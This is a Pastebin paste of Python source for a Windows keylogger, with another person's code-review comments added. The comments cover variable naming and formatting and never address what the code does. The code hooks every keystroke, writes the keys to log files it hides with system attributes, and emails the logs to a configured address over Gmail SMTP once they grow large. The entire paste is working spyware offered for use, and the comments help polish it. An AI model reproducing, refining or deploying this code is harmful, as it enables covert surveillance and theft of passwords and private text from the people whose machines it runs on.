Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- """
- EXTRA COMMENTS:
- Create better variable names, or add comments.
- Also, delete the extra returns so it looks nicer.
- It was very hard for me to following/track the
- program. It is advised to put everything within a
- function. The only thing outside the function
- should be imports and the calling main()
- My comments are labeled with ### ENJOY :D
- """
- import pywintypes
- import pythoncom
- import win32api
- import pyHook
- import logging
- import os
- import smtplib
- ### Not necessary to do, but all imports can be on one line. The format you have looks nicer though.
- #specials = {8:'BACKSPACE',9:'TAB',13:'ENTER', 27:'ESC', 32:'SPACE'} ### Why do you have a copy commented out?
- specials = {8:'BACKSPACE',9:'TAB',13:'ENTER', 27:'ESC', 32:'SPACE'}
- buffer = ''
- ### Why so many returns here?
- def send():
- j = open('loggedx.log', 'r') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- check = file('loggedx.log').read()
- r = len(check) ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- j.close()
- mmm = open('log.txt', 'r') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- mmmp = file('log.txt').read() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- mmm.close()
- msg = mmmp
- #########EDIT THIS##########
- toaddrs = 'PUT WHERE TO SEND LOGS'
- username = "PUT YOUR GMAIL USERNAME"
- password = "PUT YOUR GMAIL PASSWORD"
- #########EDIT THIS##########
- server = smtplib.SMTP('smtp.gmail.com:587')
- server.starttls()
- server.login(username,password)
- server.sendmail(username + '@gmail.com', toaddrs, msg)
- g = open('loggedx.log', 'w') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- g.write('a')
- g.close()
- po = 0 ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- hm = pyHook.HookManager() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- hm.KeyDown = OnKeyboardEvent
- hm.HookKeyboard()
- pythoncom.PumpMessages()
- def OnKeyboardEvent(event):
- logging.basicConfig(filename='log.txt',level=logging.DEBUG,format='%(message)s')
- global buffer
- p = os.popen('attrib +H +R +S log.txt') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- t = p.read() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- p.close()
- if event.Ascii in range(32,127):
- ite = chr(event.Ascii)
- print chr(event.Ascii)
- buffer += chr(event.Ascii)
- g = open('loggedx.log', 'a') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- g.close() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- j = open('loggedx.log', 'r') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- check = file('loggedx.log').read()
- po = len(check) ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- j.close()
- if check == '':
- p = os.popen('attrib +H +R +S loggedx.log') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- t = p.read() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- p.close()
- f = open('loggedx.log', 'a') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- f.write(ite)
- f.close()
- else:
- f = open('loggedx.log', 'a') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- f.write(ite)
- f.close()
- if po > 100000:
- send()
- else:
- pass
- if event.Ascii in specials:
- ite = ' <'+specials[event.Ascii]+'> ' ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- print '<'+specials[event.Ascii]+'>'
- logging.log(10,buffer)
- buffer = ''
- logging.log(10,'<'+specials[event.Ascii]+'>')
- p = os.popen('attrib +H +R +S log.txt') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- t = p.read() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- p.close()
- g = open('loggedx.log', 'a') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- g.close() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- j = open('loggedx.log', 'r') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- check = file('loggedx.log').read()
- po = len(check) ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- j.close()
- if check == '':
- p = os.popen('attrib +H +R +S loggedx.log') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- t = p.read() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- p.close()
- f = open('loggedx.log', 'a') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- f.write(ite)
- f.close()
- else:
- f = open('loggedx.log', 'a') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- f.write(ite)
- f.close()
- if po > 100000:
- send()
- else:
- pass
- return True
- hm = pyHook.HookManager() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
- hm.KeyDown = OnKeyboardEvent
- hm.HookKeyboard()
- pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement